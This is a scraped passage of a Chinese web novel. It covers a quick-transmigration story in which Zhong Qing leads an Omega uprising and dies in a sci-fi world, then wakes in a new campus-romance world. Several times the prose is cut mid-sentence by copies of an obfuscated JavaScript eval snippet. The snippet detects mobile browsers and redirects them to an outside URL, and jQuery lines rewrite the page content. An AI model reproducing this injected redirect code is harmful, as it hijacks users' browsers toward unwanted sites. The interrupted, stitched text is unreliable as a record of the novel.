0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163302|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德一定在争分夺秒挑动军部剩余兵力互相残杀。 这是他们的拿手好戏。只要用内斗将尚还留在联盟内部的Alpha消耗干净,这样即使军团回来,也无法挽回Alpha的败势。 钟情哂笑一声,放下嘉奖令,拿起一同送来的文件。 这是一份新通过的联盟法案。 嘉奖令是对钟情的回报,法案则是支付给钟情的赎金。 送去罗斯蒙德的尸体里并没有芯片,议院下意识认为这是钟情的要挟。 为了讨好钟情,也为了在这场战斗中取得绝对的胜利,他们顺手将敌人的妻子们也纳入可争取的范围之中。 媒体开始大肆宣扬Alpha对Omega多年来的欺压,同时又摆出一副要解放他们的救世主姿态。 手段虽低劣,可混乱之中,Omega的自由的确达到了有史以来最高的程度。他们被允许随意出门,可以参加工作,甚至可以上街游行。 那份崭新的法案上,在婚姻法以外的地方,第一次出现有关Omega的内容—— Omega可以拥有自己的学校。 Omega可以拥有选举权和被选举权。 钟情久久注视着那两条法案,心想,还不够。 远远不够。 * 几日后,钟情再次召唤虫族女皇。见到安德烈后,他把一个小木盒打开。 另一个时空也有这么一方小木盒,装着不知什么粉末,被当做严楫的骨灰,被他护在枕头下。 电子起搏器维持人造器官的运转,芯片提供逻辑与算法。前者是为了更好的模拟人类,后者才是仿生人的真正核心所在。 如果仿生人死去,只有芯片才算是他们的遗骸。 那方小木盒里就放着这么一枚芯片。 淡蓝色的晶体让安德烈有一瞬间头晕目眩。 心中泛出浓重的、酸涩的异样情绪,他不知道这算不算是兔死狐悲。 他声音里有微不可见的颤抖:“你还真下得去手。” “本来是不行的。”钟情说,“所以动手前我一遍一遍地告诫自己——” “——非我族类,其心必异。” “你想让我帮你做什么?”安德烈看着小木盒里的芯片晶体,问。 “重置地球上的机器人军队。”钟情说,“我要他们忘记那条命令。” “启动自爆程序不是更加安全吗?你很难保证他们不会再接受到一条类似的命令。” 钟情起身看向窗外。 诺曼星的工业不算很发达,所以这颗星球的生态维持得很好,但战争过后,这里只剩一片荒芜。 “人类当初离开被迫离开地球的时候,就应该知道必须学会克制自己的欲望。如果重回地球的人类还是学不会这一点的话,那也没什么好挽回的。” “你似乎认定人类会和机器人好好相处?” “他们必须好好相处。”钟情道,“任何事情,只要愿意就一定能找到解决的办法。没有天生的敌人,只看该如何转化为朋友。” 安德烈沉默片刻,说:“重置程序是一项非常繁杂的工作,我需要休眠。” 钟情承诺道:“我会保护您。” 安德烈默默注视着他,突然伸手将他拉进怀里。 他并没有做别的什么,只是把头埋在钟情颈侧深沉地叹了口气。 钟情感受着他一下一下如擂鼓的心跳,轻笑了一声:“元帅似乎并不相信我。” “我该相信你吗?”安德烈的疑问没有任何讽刺的意味,他只是单纯地觉得疑惑,“你对我说过许多话,我不知道哪一句是真的。” “严楫的代号是诺亚,您的代号是精卫。是我取的。”钟情突兀地提起这件事,他问道,“元帅想要知道为什么吗?” “为什么?” 钟情抬手抚摸了一下他脑后的头发,轻声道:“等您醒过来,我再告诉您。” 29. 归心似箭 在成为Alpha军校第一位Omega教授后,钟情再次成为Omega学院第一位教授。 第二位是他的母亲。 钟情教导他们如何使用武器,他的母亲教导他们基因编辑是如何将他们一步一步异化到今天这个地步。 其实Omega们之前并非没有学校,但那些学校都被Beta牢牢把持着,只教导他们衣装、礼仪、和臣服。然后把他们送到Alpha身边,以这些繁文缛节为借口,从他们的丈夫口袋里掏走大把钞票。 而他们真正需要学习的,都罗列在禁书里。 钟情没有一来就让这些柔弱的Omega使用武器,他知道他们仍旧心怀恐惧。 他只是让他们聚在一起,分享自己最擅长或是最喜欢的事。 这些总是被拘束在家里的人第一次出现在派对以外的地方,短暂的不适应后,他们互相鼓舞着卸下常年伪装。 然后,他们发现,原来同伴那繁复的裙装里、华丽的帽子下,掩藏着这么多诗人、学者、和画家的灵魂。 “Beta包揽了有关艺术的一切,他们对Beta艺术家最高的赞誉就是敏感多情。但他们也总说Omega敏感多情。” “可敏感多情的Omega只能成为某个Alpha的妻子,而敏感多情的Beta却站在领奖台上。” 钟情轻抚着一幅画的画框,画中女子在悲伤地哭泣,眼泪在月光下晶莹剔透。 “这幅画比今年所有展馆里的作品都要精妙绝伦,却因为没有曝光的途径,只能被藏在家里,跟主人的身体一样,只能被主人的丈夫独享。” 钟情看着满座沉思的众人,一颗一颗往枪支里装入子弹,然后上膛,抬手,扳机扣动,正中靶心。 “无论你们是诗人、学者,还是画家,想要成为真正的自己,就必须先成为战士。” 学院的学生越来越多。 或许一开始他们只是想要凑个热闹,但渐渐地,他们甚至不愿回家。 好在他们的丈夫正疲惫地应付Beta们一轮又一轮进攻,家?早就被他们抛之脑后。 首都星在斗争中陷入前所未有的混乱,只有Omega们这一方天地尚算清净。 自从钟情带着两大军团回到川陀后,便展示出任何人都想象不到的强大野心。 他以安德烈元帅遗孀、兰凯斯特家族法定继承人的身份快速入主军部。这个身份实在好用,有两大军团作为后盾,军部的Alpha不敢反对,Beta们在闹了两回后也半推半就地通过了。 他们都想着,至少不是落在敌人头上。 但他们更没想到的是,钟情不仅有野心,还够绝情。 他开放了兰凯斯特家族的地下军备库。 这里曾经只有安德烈和他能进来,现在任何一个Omega都能凭借虹膜轻易进入。 这个军备库庞大得像个宫殿,钟情几乎把军部所有武器都搬到这里。在他的命令下,各大外星系里的驻军也在把更多的武器源源不断送入首都星。 他们没有任何怀疑,因为首都星上的AO战争的确需要这些武器,也因为,被完全标记后的Omega会对他们的Alpha绝对忠诚。 背叛会让他生不如死。 但就在确定地下军备库中的武器有Alpha和Beta三倍之多时,钟情突然撤掉了当初向他投诚的副帅。 在所有人猝不及防的时候,整个军团所有在编的Alpha士兵全部被清空,腾出来的位置都被他们的妻子顶上。 名正言顺的正规军瞬间变成匪徒,Beta们兴奋不已,正大光明召回星盗加入战斗。 这个时空Beta没有虫族作为助力,想要战胜军备强大的Alpha,只能靠长期作战熬死他们。 但现在Alpha失去最引以为傲的火力,却仍在人数上逊于Beta,他们不再一往无前,连正面作战都会被Beta们打败。 战局被精准地控制在一种微妙的平衡里。 Omega在这胶着的平衡中开始行动。 只在训练场练习射击是不长远的,一个真正的战士必须要有实战经验。 钟情带着人扫荡了首都星上所有红灯区,救出那里面被当做牲口一样拐卖、奴役的Omega。等他们身体好转,便加入军队,跟着他们经验日渐丰富的长官,带着充足的军备物资,前往各大星系解救他们的同类。 奇迹当然是没有那么多的,训练短暂的Omega们射击时仍然常常脱靶,论身体素质仍然连最次等的Alpha都比不上。 但绝对的火力压制下,体质差异基本可以忽略不计。就算Omega们只是拿着枪乱扫一起,炮弹的海洋也足以将敌人溺死。 面对Omega的进攻,Alpha节节败退。 Beta终于意识到不妙,惊慌失措地想要反抗。他们照例拿出了威逼利诱的那套手段,但整个Omega内部就像是铁板一块,他们用尽一切办法,也没能撬开一个小口子。 出征的Omega军队大获全胜,逐渐踏上归途。 钟情亲手为这些军士们颁发军衔奖章,一双双眼睛虔诚地看着他,褪去被驯化出来的温良柔顺,变得威严、锐利,那是在鲜血和炮火中浸泡出来的眼睛。 又过几日,钟情邀请Alpha和Beta的领头人一同赴一场宴会。 宴会的开始,两位领头人对钟情的和谈请求嗤之以鼻,嘲笑他重回地球的想法是异想天开。但在听到钟情的一个承诺后,他们瞬间转变态度。 钟情向他们承诺,不会将军部资源全部带走,也不会把它单独留给某一方。 他知道这正中他们下怀。 Omega异军突起,将他们逼成这个样子,也没能让他们联手作战,说明他们骨子里狂妄自大一如之前,根本没把Omega视作对手,只将彼此视为敌人。 他们并不关心Omega想回地球还是月球,他们只想要抢回属于他们的武器,以为只要拥有武器,就能打败敌人。到时候,即使Omega跑到天涯海角,依然是他们的囊中之物。 宴会几近尾声的时候,两位领头人同时在停战协议上署名。 他们各自怀着隐秘的心思,朝钟情阴森又戏谑地讽笑,然后各自离开。 他们不知道的是,地球上的机器人军团一旦醒来,就会是整个星际最强大的杀器。如果他们事后反悔前来追杀,回到地球的Omega们便可以带他们见识一下两百年前的诺亚计划。 送走两位领头人,钟情回到自己的房间。 关上门后,他再也支撑不住,身体顺着门板滑下来。 眼前一阵阵眩晕着,一切都看不真切。他摸索到一管阻滞剂,撕开包装后没听见液体流淌的声音,才想起这管针剂昨天就已经用空。 系统查看他的身体数据,充满忧虑地说:【菜精,你要死了。】 【我知道。】 钟情丢开针管,全凭意志力扛过这波疼痛。 不知是血管里弹片的原因,还有安德烈留下的完全标记,都在让这具千疮百孔的身体加速走向灭亡。 剧痛中他仍旧笑了笑:【还好母亲的标记清洗液就要研制成功了……至少他们不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163303|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用承受这种疼痛。】 【但你的时间不多了。】 【放心。任务会完成的。】 * “钟元帅!” 瘦高的女孩一路小跑着赶过来,“所有愿意离开联盟的Omega全都安置好了!舰队随时可以准备出发!” 钟情放下手里的文件,朝她微笑:“辛苦你了。” 女孩在他的注视下红了脸,不好意思地扯了扯军装下摆。 她身上至少挂了六七把枪,这是Omega从军后最明显的习惯——他们极为喜爱这些暴力武器,每天都有无数人自愿申请去军备库守夜。 钟情没制止他们。 “走吧,副帅小姐。”钟情起身,“我和你一起去看看。” 女孩极为高兴地应下:“是的,元帅先生!” 返回地球的准备工作已经收尾结束,舰队里只剩下一小部分人还在不嫌麻烦测试已经反复检查过无数遍的返航程序。 舰队安静地漂浮在港口。 钟情在快到港口的时候看见一个老熟人。 那个人带来了满船的抑制剂,正带着人一箱箱从上往下搬。钟情走过去的时候,正好看见他打开手里的药箱,露出里面一整排阻滞剂。 “修恩。”钟情看着他轻声道,“你没有必要这样。” “这不过是我给你提前下的聘礼而已。”修恩痞痞地一笑,“等我把那些讨厌的Alpha清理干净,就去地球娶你。” 他给药箱写上标签,递给副帅,让她亲手放到主舰的保险柜里。 然后抬头,不厌其烦地向钟情嘱咐:“在这之前,你可千万别死了。” 钟情只是轻笑。 没得到回应,修恩也不以为意。他想起一件事,便顺口提了一句。 “哦对了。来之前我见过你父亲和卡佩,他们强烈要求你把他们的妻子还回去。尤其是卡佩,他说,至少应该把他的孩子还给他。” “我会带走任何一个想要离开的Omega,不管他们曾经是谁的妻子。至于孩子,我认为亲自孕育并产下他们的母亲比父亲更有权利决定他们的去留。” 修恩挑眉:“我就知道你会这么说。” 钟情视线重新落在那些药剂上。 “议院视我为叛徒,很早以前就断了药物供给。偷运禁药是死罪,你确定你回去后不会上军事法庭吗?” 修恩哈哈大笑:“你觉得没有戈雅的默认,我能把这些药从研究所偷出来?” 他止住笑,眼神变得势在必得,“我很期待我们在地球的重逢。希望那时候你能坚持得住……我和戈雅跟那两个笨蛋可不一样。” 他不等钟情回应就转身离开,一边潇洒地挥手:“走了钟元帅,祝你一路顺风。” 钟情看着他的背影消失在飞行器中,一阵轰响后,飞行器驶上天空,眨眼间便飞往天际。 他撤去脸上敷衍的笑意,对身后刚刚赶回来的副帅开口道: “准备起航吧。” 阻滞剂注射进血管,一直以来的强烈疼痛终于缓和几分。 钟情捏了下手臂上因为操作不当而有些微微鼓起的针眼,指间的皮肤在渐渐失去弹性,并且苍白得不像一个活人。 这具身体已经到了强弩之末,或许就在这几天。 他按下休眠舱的按钮,舱体的透明防护层渐渐消失,露出里面已经沉睡良久的人。 针剂让钟情有些脱力,耳边传来一阵阵嗡鸣声,他分不清是真实还是幻听。 他伏在那人耳边轻声道:“还不起床吗?再晚一点,就要见不到我了哦。” 30. 以我之名 钟情完全是靠毅力才撑到今天。心中重担放下后,强撑的那口气一下子松懈,针剂缓解了他的痛苦,似乎也磨损了他的精神。 他感到无比困倦。 不知过了多久,舱体里的人终于睁开眼睛。 琥珀和海水的颜色在他的眼睛里变换着,最终杂糅成一种诡秘的绿色。 钟情朝那双眼睛笑了一下。 他在心中问:【系统,任务完成了吗?】 【……】系统有点一言难尽。 严楫和安德烈都没死,但这个世界的男主又确确实实从两个变成了一个。大概快穿局也想象不到,解决支柱分裂的问题不一定非得是抹杀,还可以是融合。 系统瓮声瓮气地宣布:【任务已完成。】 钟情放下心来。 他渐渐有些脱力,手臂不能再支撑他伏在舱体边上的动作。在即将跌坐地上的时候,碧色眼睛的人一把将他捞上去。 钟情微笑着问他:“我应该叫您什么呢?” 面前的人垂眸低声道:“这样让我活着……” 略微停顿的间隙,他抬眼也笑起来,声音变得轻快几分,“还不如让我死了。” “生死当然由你自己决定,我不过是在践行我的诺言。”胸口突然传来沉闷的疼痛,钟情轻咳一声掩饰后,继续道,“我说过会让您醒来的。” 他想起什么,有点期待的地问道:“您看到地球上传来的影像了吗?” 绿眸轻轻颤了一下。 机器人军团全都在地下工厂沉睡,传回的影像只有冰冷的岩石和金属机械。 但是他点点头:“我看见了。” “它是什么样子的?” “……它已经恢复到它最美丽的模样。人类建筑都已坍塌,废墟被苔藓和藤蔓掩埋。大陆上到处都是森林和河流,极地冰川也渐渐复苏。生物在用各种属于自己的方式生存着,活得安稳、自在。” 钟情已经听见系统结算积分的声音。他在头晕目眩中轻声道:“真好。” 他轻轻叹了口气:“安德烈……你说错了,这就是最完美的未来。” “在这个时空,亚德里恩回归了虫群,卡佩夫人、不,是莉珊德拉女士,她依然活着,见证了今天的到来。我想象不出还有什么比这些更美好的事。” “所以,对不起,安德烈,我不得不这么做。我们等这一天,已经等得太久太久了。” 安德烈深深凝视着他,绿眸像是跨越数万光年,遥遥跋涉而来。而后他在钟情额心落下一吻,带着近乎虔诚的柔情。 钟情伸手搂住他的脖子,贴近他的胸膛。 那里一片寂静,已经没有心跳声。 “严楫说,他第一次感受到的人类情绪是快乐。并为此付出被研究所发现的代价。我很好奇,安德烈,你第一次感受到的情绪是什么呢?” “我第一次感知情绪,是在我意识到您永远不会看向我的那一天。” 耳畔传来沉闷的振动,就像安德烈的心声在空谷传响。 “我感到无限的恐惧、寒冷,然后,我学会了眼泪。” 温热的水滴打湿了钟情肩上的衣服。 这一次,他同样因为沉溺在安德烈黑暗温暖的怀抱中,而错过看清那究竟是什么的机会。 身后的手臂牢牢锢住他的腰,他只能在那怀抱中更深地沉浸下去。 系统已经开始整理数据,提醒员工准备意识抽离。 记忆被它分门别类提取,各种回忆碎片像暴风雪一般在钟情的脑海中席卷而过。 回忆中的声音也在耳边不断响起。 可爱的Omega女孩附在他耳边轻声说:“钟教授,要是我能嫁给您就好了。” 怀有身孕的贵族夫人在他面前饮下有毒的酒液,向他承诺:“我愿意牺牲我的生命,我的爱情,以及我的后嗣。” 纷杂的碎片最后凝结成同一个画面,总是生病的Omega母亲把幼小的孩子搂进怀里:“钟情,你必须去做。我之所以嫁给你父亲,就是为了生下你。你的使命生来注定。” 嗡鸣声越来越明显,最后变成几个清晰的古语:“汝当赴约。” 钟情透过舷窗,最后朝长长的舰队看了一眼。 尽管不少Omega因为舍不得自己的Alpha孩子选择留在联盟,但有更多人坚强地抗拒了基因带来的依赖和避险本能。他们抛夫弃子,勇敢而坚定地奔向那个未知的远大前程。 或许在深夜他们还是会因为思念亲人而哭泣,可终有一日,每一艘星舰上都满载欢声笑语。 这是一个Omega们等待了太久的未来。 谁也不知道它究竟是什么样的,可谁都坚信它一定是美好的。 钟情在防护舱内躺下,这个姿势让他不至于那么难受,但也让他昏昏欲睡。 他转身看向躺在一旁的人,视线模糊得已经看不清对方的脸。 “我为您准备了一份礼物,是一具身体。罗斯蒙德修好了严楫的身体。” 他的声音轻如游丝,“我很抱歉将您现在的身体抵押给了女皇,但是……我想不出别的办法了。” 身边的人伸手,似乎想要再次拥抱他,钟情拦住他的动作。 “安德烈,你该离开了。这个防护舱被我事先改变过数据,它会在五分钟内脱离这艘星舰。” “我离开后,星舰上所有权限都将对你开放。你的新身体就在控制器下面,脱离女皇后,你就可以去你想去的任何地——” 身旁的人不由分说地用一个吻堵住他的嘴,他吻得那么急切又那么温柔,直到脱离程序开始倒计时,也不曾放开分毫。 钟情在这个潮湿亲吻的间隙里轻轻喘息着。 “安德烈,你真是个傻子。” 安德烈似乎说了些什么,钟情已经听不清楚。 倒计时结束,脱离程序启动。 外部传来猛烈的推动感,抱住他的人将他更紧地搂进怀里,保护得密不透风。 钟情抓住他颈边的衣服,在机器的轰鸣声中,断断续续地说:“研究所的特工都有属于自己的图腾……你知道我的是什么吗?” “是一只黑色的小鸟,爪子和嘴巴都是红的,很善于飞行,所有研究所那群人又把我叫做飞鸟。” “精卫就是一种黑色的飞鸟,它为复仇而生。” 舱体推出星舰,漂流在宇宙之中。 钟情缓慢地眨着眼睛,想要扭头去看那双碧眸中究竟酝酿着什么样的情绪。 但他已经没有力气。 他只看见了一片模糊的、蔚蓝的星海。 千万颗恒星在这片宇宙深处爆炸,千万颗行星狂奔着与他们擦肩而过,千万颗流星自他们身后的尘雾中坠落。机器的嗡鸣声一路呼啸,与无数暗中潜伏的双眼、心脏共振。 “精卫原本是我的名字。” 钟情在满天星河中微笑。 “我把它送给了你。” 最后,视线陷入一片黑暗。在失去意识之前,钟情喃喃开口: “我来赴约。” * 每一个位面任务结束后,都有一小段休假调整的时间。 系统还以为像钟情这样的修道狂魔会把时间全都花在练剑上,结果钟情直接在系统空间里躺到休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163304|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假结束。 系统大为震惊。 【菜精,我还以为你是一个很爱折腾的人。】 钟情双手枕着头,翘着脚,懒洋洋地晒太阳。连声音都被这种懒散劲儿给腌透了。 【以前是。毕竟咱们空心菜家族别的不行,就生命力这一点没得挑。割了长、长了割,韭菜见了都要甘拜下风。】 系统啧了一声:【空心菜……还有家族?】 【空心的草嘛,竹子当然也算咯。我道侣就是。】 说起这个钟情就来气。都是草,凭什么那个破竹子就能长得那么高还那么硬? 钟情平复了下情绪,对系统道:【不过以前是以前,现在是现在。以后还是给我挑一些简单的任务吧。】 系统更不解了:【那你上个位面还搞那么复杂,早听我的一刀结果了男主,这多简单。】 【上个位面比较特殊。】 【可别又说什么使命不使命的。】 钟情轻笑:【好吧,其实是我喜欢他们身上的气息。】 【啥气息?】 【用他们的话来说,就是信息素。不过我还是更喜欢‘气息’这个词。当年我游走在人族和精怪两界的时候就发现了,女修的气息更加安宁、舒适,待在女修身边,或者仅仅只是待在一个普通女孩子身边,家畜会更驯顺,野兽会更平静,连空心菜都长得更旺盛。】 系统一脸懵:【还有这原理?】 钟情点头:【这是真的。所以即使没有我,他们也会自己走到那一步。他们身上的气息,会让整个宇宙都施以援手。统子,难道你不觉得宇宙十分眼熟吗?那些星球、光环、宇宙尘,就像一个个胚胎、脐带,和羊水。宇宙偏爱拥有创造生命能力的他们,他们也与宇宙息息相关。】 系统听得一愣一愣的:【所以你就虎了吧唧一定要撑着副破身体帮他们?】 钟情笑了:【在那个位面,我也是他们之中的一员。帮我自己的同胞,有问题吗?】 【没问题。】系统深感佩服,【你也算是咱们穿书局里有史以来第一位身残志坚的模范人物了。】 钟情谦虚地谢过夸奖,道:【问了我这么多,我也问你一个问题吧。】 【菜精你说。】 【虫族女皇是四维生物,拥有逆转时空的力量。我能破碎虚空,而你,能带着我穿梭时空,我们又算是什么生物呢?】 【呃……】 【不能说?】 系统委婉地暗示:【等你积分多一些,级别高一些,你自己就能找到答案。】 【行吧。】钟情翻身坐起来,【那我们就赶紧去挣积分。下一个世界是什么?】 系统忙不迭地奉上位面剧情,兴高采烈地说:【菜精我跟你说,你这次走大运了!下一个位面超级简单,支柱分裂出的两个男主刚好是情侣关系!你不是就喜欢走融合路线吗,这下好了,主角攻受之间会有强烈的吸引力,你什么都不用做,他们就能自己融合在一块!】 钟情挑眉:【哪种意义上的融合?】 系统老脸一红:【哎呀这你就别管了,感情线位面是这样的,只要心灵上融合就代表身体也融合。放心,我找监管者确定过了,只要他们顺风顺水在一起了,你任务就算完成!看我对你好吧!】 钟情确实挺满意:【听起来好像的确是一个很适合躺平的位面。】 他接过位面剧情,读了几页后皱眉翻回封面一看,几个大字猝不及防映入眼帘—— 《霸道少爷狠狠爱》。 钟情:【……】 钟情:【统子,你确定你找的这个位面……它是正经位面吗?】 31. 第一章 钟情缩在帐篷里,蹑手蹑脚地打游戏。 系统:【你这也太猥琐了。】 钟情:【没办法,谁让男主是我活爹。】 要打团了,钟情生怕男主这个时候过来,鬼鬼祟祟探出头。 庄严还孤坐在湖边钓鱼,旁边有人在跟他说着什么,一时半会儿应该不会起身。 钟情心中松口气,缩回来准备打团。 他自以为这场窥伺无人知晓,庄严嘴角却无端浮出起一抹微笑。旁边的助理看见他笑,下意识去看鱼竿,浮漂巍然不动,水面一片平静,并没有鱼儿上当咬钩。 “庄少,都已经安排好了。” “嗯。” 见庄严心情不错,助理大着胆子说:“祝庄少得偿所愿。” 庄严大概是真的心情很好,居然回道:“多谢。” 钟情正充满怨念地开下一把。 就探头出去看男主这么一会儿时间分神,熟悉的疼痛遍布全身,他手一慢,被人抢先一枪爆头。 钟情抱怨:【你选的这什么破世界,一天到晚疼个没完。】 系统安慰:【哎呀你再忍忍,再过半年主角受当交换生转到你们学校,你任务马上就能完成。再说,也没多疼嘛,我当时看数值的时候觉得挺低的呀。】 确实没有很疼。 只是轻微的、蔓延在皮肤上的疼痛,像蛛网一样把他包裹起来。不至于疼死他,甚至打打游戏就能忽视掉,但让钟情无法忍受的是,这疼痛是持续不断的。 即使是上个世界的糖霜子弹,都能在注射药剂后给他几天喘气的时间。 这个世界的疼痛却是与生俱来,一切镇痛的手段都无济于事。 持续不断的痛感带来的是持续不断的烦躁,让钟情在这个位面毫无斗志,懒得连一根手指都不想动,恨不得直接住在游戏机里。 【往好处想,这种灵力匮乏、科技发展程度又一般的世界最适合新人了。这个位面的世界意志很软弱,都不用你靠抹杀男主来消灭支柱,只要像上个世界那样让支柱融合就行了。】 钟情知道系统说的有理。 他甚至都无需像上个世界那样让支柱们生理性融合,只要社会意义上融合即可,结婚,甚至只是口头上约定终身就行。 刚好支柱分裂到原世界线的主角攻受身上,他们天生就对彼此有强烈的吸引力。 用系统的话说就是,就算钟情半道出车祸被撞成植物人在医院睡到剧情结束,任务也会自动完成。 【这种免费送积分的位面,你知道我付出了多大代价才抢过来的吗!】 【什么代价?】 系统洋洋得意:【我贿赂了分配者。】 钟情惊奇。系统这么抠门,居然会舍得给他花钱? 【统子哥,你怎么突然对我这么好?】 系统汗颜:【倒也不全是为了你。我代班挣外快被监管者发现了,它逼我跟他打了一个赌,赢走我一半身家。我不服气,用另一半身家跟它又打了一个赌。】 钟情:【你们上次赌的什么?下这么大注?】 系统:【赌你上个世界输赢。】 【……】钟情无语,【你赌我输?你可真是我的好系统。】 系统慌忙:【我这次赌你赢。菜精,我全部身家都押你身上了,你可千万别辜负我啊。】 【放心,小菜一碟。】钟情十分自信,【你就等着赢回你的全部身家吧。】 快到正午时分,帐篷外的阳光渐渐耀眼起来,钟情隔着一层布帘也能感受到那种散着土腥味的暑气,但并不太热。有山风从湖面上吹来,带着微凉的水汽,和草木的清香。 “钟情,这里风景很好,你不出来看看吗?” “不看。” 嘴上这么说着,但钟情很快就叹着气把游戏控制权交给系统,让它帮忙代打这一局。然后掀开帘子,认命地走出去。 虽说这个位面的剧本叫《霸道少爷狠狠爱》,但钟情觉得它更像是一部跌宕起伏的《庄严传》。 出生豪门的私生子,幼年时跟在生母身边颠沛流离,母亲病故后认祖归宗。但老庄总一生风流,明面上的儿女就有十多个,庄严根本得不到重视。 爹不疼娘不爱的小可怜渐渐长大成人,正逢老庄总意外中风,躺在床上连话也说不明白,庄家一众叔伯兄弟相互厮杀,只有年纪轻轻的庄严脱颖而出,带着偌大家族走出困境,重振威风。 钟情穿来这个位面时匹配的角色年龄很小,钟家和庄家又是世家,他和庄严年龄相仿,算是青梅竹马两小无猜一起长大的好兄弟。 他那时因为疼痛懒得动,仗着小庄严不受庄家重视,不管好事坏事都骗小庄严帮他去做。 后来大概是养成习惯,庄严干掉自己一堆兄弟成为家族继承人后,依然任劳任怨给钟情当管家。 钟情乐得自在,当然放任自流,渐渐地,他的生活几乎都被庄严大包大揽。 吃穿住行,所有的一切都是庄严决定,连高考志愿都是庄严帮他填的,钟情还是在报道的那一天才知道他们考的是同一个学校同一个专业。 就这么过了十几年,钟情早就习惯了这种被庄严安排的人生,没必要反抗,也懒得反抗。 钟情走过去,一看鱼桶,笑了。 “大清早就爬起来钓鱼,钓了半天,一条都没钓上来。庄严,你想什么呢?” “在想你。” 钟情心中警铃大作:“想我干什么?我没干坏事啊!”说着欲盖弥彰地摸了把口袋里的游戏机。 庄严深深看了他一眼,宽容地一笑,视线重新回到水面。 “多好的周末,不在家躺着睡大觉,非要跑到山里来受罪。我就问你钓不到鱼,我们中午吃什么?” “你包里不是装了很多食物吗?” 钟情斜了他一眼:“大少爷,你确定你那张尊贵的嘴巴吃得下去我带的垃圾食品?” “知道是垃圾食品,还带?” 钟情:“……”说漏嘴了。 他赶紧转移话题:“说说吧,最近有什么烦心事,非得来这深山老林散心?” 庄严轻笑:“如果我不是为了散心呢?” “拜托,你一个大忙人,千里迢迢跑来这里不是为了散心,还能是为了谈情说爱?” 庄严眼神一凝,还未开口就听钟情继续说下去。 “可惜呀,我把班上女生都猜了个遍,结果你一声不哼就离开队伍,一个人跑到这里来钓鱼。难道你还能和鱼谈情说爱?” 钟情现在肠子都悔青了。 当时班长让问他们要不要参加踏青的时候,他就该直接拒绝。 可是面对女孩子殷切的眼神,他狠不下心,想着庄严从来不参加这种集体活动,便说了句庄严去我就去。 没想到庄严居然答应了。 还嫌大部队选的露营地点不够清净,非要带着他跋山涉水进到深山里面。 钟情那个疼啊,觉得自己就像上岸后的小美人鱼,每一步都踩在刀尖上。 庄严静静看着前方,湖面波光粼粼,两岸矮山的倒影映入其中,风一吹就皱了。他轻声道,“钟情,露营的地点是我选的。” 钟情啧了一声:“知道,你阔嘛。” 不仅特意选了一个离学校十万八千里的山区,还自掏腰包给全班同学报销路费和食宿。钟情实在没办法,借口说离不开俱乐部里刚养的小马,他居然愣是搞了架专机把小马空运过来。 “我从前在这里住过一段时间。” “……啥?” “我母亲去世之前,每年都会带我回一趟这里。这里住着我外祖父。修建水库,淹了村庄,我母亲不想靠着补贴活一辈子,就到城市里打工。外祖父不肯离开这里,在水库附近自己用茅草搭了一座小房子。我有几年一整个夏天都在这里度过。” 钟情眨眨眼睛。 位面剧情对庄严到庄家之前的故事着墨很少,他的童年时代钟情还真不了解。 他环顾四周:“怎么没看见房子?” “他死后这里就彻底荒凉下来,连我也是第一次回来。估计是被风吹倒了,或是被什么动物叼走了吧。” 钟情重新看向面前的湖泊。 原来这其实是一个庞大的水库。钟情没看出它和天生的湖泊有什么区别,一样沉静如碧玉的湖面,一样自由自在划过天际的水鸟。大概是有水库滋养,周围的杂草生长得很茂盛,几乎快到腰间。 他们带来的那匹小马一直在低头吃草,风吹时才能在倒伏的草叶间看见一个黑色的马背。人要是坐在地上,视线能被眼前绿意全部遮挡。 简直像来到蛮荒时代。 钟情轻轻按住庄严的肩。难怪庄严这几天都怪怪的,原来是旧地重游。 “怕什么。我帮你找,就算茅草烂了,总还能剩下几根木头架子,还能真找不到?” 他当真深一脚浅一脚走到远处去,一点点扒开杂草去看。当然,没过多久他就像是累极了似的回来。 “我歇会儿,放心,待会儿我还给你找。” 庄严嘴角浮起一丝隐笑。他最知道钟情的耐心就只有这么点,肯给他付出的已经是他的全部。 这就够了。 “钟情——” “嘘,有鱼来了。” 钟情打断庄严的话,见他愣着,一把将钓钩抢过来扔进湖里。但他可没有在这里干坐着等待的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13163305|138788||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐心,怕吓跑鱼,连招呼也没打,转身又去找那幢倒塌的茅草屋。 庄严哭笑不得。 将要出口的话未能出口,心就像是被一根绳索高高悬起,揪得生疼。 湖中鱼钩颤动不已,像是鱼儿已经咬钩。拉上来一看却空无一物,庄严这才意识到是自己的手在抖。 